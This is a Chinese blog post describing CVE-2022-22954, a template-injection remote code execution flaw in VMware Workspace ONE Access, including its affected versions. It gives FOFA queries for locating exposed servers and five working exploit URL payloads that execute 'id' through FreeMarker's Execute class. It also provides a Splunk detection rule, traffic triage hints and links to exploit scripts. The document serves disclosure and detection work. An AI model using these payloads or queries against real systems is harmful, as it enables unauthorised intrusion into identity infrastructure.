码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行流量特征


    简介

    仅用于技术交流和学习研究使用,请勿用于非法攻击,否则造成一切后果与本人无关

    VMware Workspace ONE Access and Identity Manager包含一个由于服务器端模板注入而导致的远程代码执行漏洞。VMware已将此问题的严重性评估为处于严重严重性范围内 ,CVSSv3基本得分最高为9.8。

    具有网络访问权限的恶意行为者可以触发可能导致远程代码执行的服务器端模板注入。

    影响范围

    VMware Workspace ONE Access Appliance (版本号:20.10.0.0 ,20.10.0.1 ,21.08.0.0 ,21.08.0.1 )
    VMware Identity Manager Appliance (版本号:3.3.3 , 3.3.4 , 3.3.5 ,3.3.6)
    VMware Realize Automation (版本号:7.6)
    
    • 1
    • 2
    • 3

    EXP/POC

    请勿用做非法用途,仅用于检测测试。

    fofa语法:

    icon_hash="-1250474341"
    app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager"
    
    • 1
    • 2
    /catalog-portal/ui?code=&deviceUdid=&deviceType=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
    /catalog-portal/hub-ui?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
    /catalog-portal/hub-ui/byob?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
    /catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
    /catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
    
    • 1
    • 2
    • 3
    • 4
    • 5

    URL decode

    /catalog-portal/ui?code=&deviceUdid=&deviceType=${"freemarker.template.utility.Execute"?new()("id")}
    /catalog-portal/hub-ui?deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
    /catalog-portal/hub-ui/byob?deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
    /catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
    /catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=${"freemarker.template.utility.Execute"?new()("id")}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    检测规则/思路

    Splunk公开规则

    | tstats count from datamodel=Web where Web.http_method IN ("GET")
      Web.url="*deviceudid=*" AND Web.url IN ("*java.lang.ProcessBuilder*","*freemarker.template.utility.ObjectConstructor*")
      by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype
      | `drop_dm_object_name("Web")` 
      | `security_content_ctime(firstTime)`
      | `security_content_ctime(lastTime)` 
      | `vmware_server_side_template_injection_hunt_filter
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    结合状态码及返回内容包进行分析研判。以下可作为参考:

    返回状态为200,且包涵Authorization context is not valid
    
    • 1

    参考推荐

    vmware_server_side_template_injection_hunt

    https://github.com/splunk/security_content/blob/develop/detections/web/vmware_server_side_template_injection_hunt.yml

    利用脚本

    https://github.com/bewhale/CVE-2022-22954

    CVE-2022-22954 VMware Workspace ONE Access SSTI RCE

    https://xz.aliyun.com/t/11196

    zeek-CVE-2022-22954

    https://github.com/corelight/cve-2022-22954

  • 相关阅读:
    力扣刷题记录167.1-----1356. 根据数字二进制下 1 的数目排序
    从0开始用C写贪吃蛇(基于链表)
    el-table <template slot=“header“>不更新问题
    【前端学习】—JS判断数据类型的方式有哪些(八)
    LruCache的使用
    (18)线程的实例认识:线程的控制,暂停,继续,停止,线程相互控制,协作
    JVM性能调优的6大步骤,及关键调优参数详解
    在Qt创建的UI中放一个显示点云的窗口(PCL+QT5)
    Vue-事件
    android studio编译项目遇到的常见问题
  • 原文地址:https://blog.csdn.net/qq_36334464/article/details/125457423
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号